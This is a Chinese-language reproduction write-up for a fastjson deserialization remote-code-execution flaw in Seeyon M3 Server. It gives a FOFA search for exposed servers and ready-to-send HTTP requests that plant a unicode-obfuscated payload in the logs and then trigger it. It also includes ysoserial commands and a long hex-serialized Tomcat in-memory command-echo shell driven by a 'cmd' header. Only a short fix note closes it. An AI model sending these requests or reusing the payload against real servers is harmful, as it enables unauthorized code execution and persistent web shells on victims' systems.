致远M3 反序列化RCE漏洞复现(XVE-2023-24878)

0x01 产品简介

   M3移动办公是致远互联打造的一站式智能工作平台，提供全方位的企业移动业务管理，致力于构建以人为中心的智能化移动应用场景，促进人员工作积极性和创造力，提升企业效率和效能，是为企业量身定制的移动智慧协同平台。

0x02 漏洞概述

 致远M3 server中 mobile_portal接口处发现了fastjson反序列化漏洞，漏洞是通过接口/mobile_portal/api/pns/message/send/batch/6_1sp1将恶意payload存入日志中，然后利用/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化的机制触发Fastjson漏洞,造成反序列化远程代码执行。

0x03 复现环境

FOFA：title="M3-Server"

0x04 漏洞复现 

PoC

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

PS：请求体中HEX处放入CB1的序列化数据

Exp-1

使用yakit内置的java反序列化工具构造payload

copy到请求体中hex处，发送请求（将恶意序列化数据插入到日志中）

读取接口日志内容触发Fastjson反序列化

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Exp-2

利用Y4er 师傅的 ysoserial修改版,生成TomcatCmdEcho回显内存马 

https://github.com/Y4er/ysoserial

java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | hex

 将生成的这一串十六进制数据copy到PoC中HEX处

 命令回显payload

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000002757200025b42acf317f8060854e00200007870000014afcafebabe0000003301050a004500890a008a008b0a008a008c0a001d008d08007a0a001b008e0a008f00900a008f009107007b0a008a00920800930a002000940800950800960700970800980800580700990a001b009a08009b08007007009c0b0016009d0b0016009e08006708009f0700a00a001b00a10700a20a00a300a40800a50700a60800a70a002000a80800a909002500aa0700ab0a002500ac0800ad0a00ae00af0a002000b00800b10800b20800b30800b40800b50700b60700b70a003000b80a003000b90a00ba00bb0a002f00bc0800bd0a002f00be0a002f00bf0a002000c00800c10a001b00c20a001b00c30800c40700640a001b00c50800c60700c70800c80800c90700ca0701030700cc0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301002c4c79736f73657269616c2f7061796c6f6164732f74656d706c617465732f546f6d636174436d644563686f3b0100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074696f6e730700cd0100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e010001650100204c6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e3b010003636c730100114c6a6176612f6c616e672f436c6173733b010004766172350100214c6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e3b010004636d64730100135b4c6a6176612f6c616e672f537472696e673b010006726573756c740100025b4201000970726f636573736f720100124c6a6176612f6c616e672f4f626a6563743b010003726571010004726573700100016a01000149010001740100124c6a6176612f6c616e672f5468726561643b0100037374720100124c6a6176612f6c616e672f537472696e673b0100036f626a01000a70726f636573736f72730100104c6a6176612f7574696c2f4c6973743b0100154c6a6176612f6c616e672f457863657074696f6e3b01000169010004666c61670100015a01000567726f75700100174c6a6176612f6c616e672f54687265616447726f75703b010001660100194c6a6176612f6c616e672f7265666c6563742f4669656c643b010007746872656164730100135b4c6a6176612f6c616e672f5468726561643b01000d537461636b4d61705461626c650700ce0700cf0700d00700a60700a207009907009c0700620700c70700ca01000a536f7572636546696c65010012546f6d636174436d644563686f2e6a6176610c004600470700d00c00d100d20c00d300d40c00d500d60c00d700d80700cf0c00d900da0c00db00dc0c00dd00de010004657865630c00df00e0010004687474700100067461726765740100126a6176612f6c616e672f52756e6e61626c6501000674686973243001001e6a6176612f6c6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命令执行

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
cmd: whoami

0x05 修复建议

关闭互联网暴露面，接口设置访问权限，对于不信任的数据进行过滤

升级至安全版本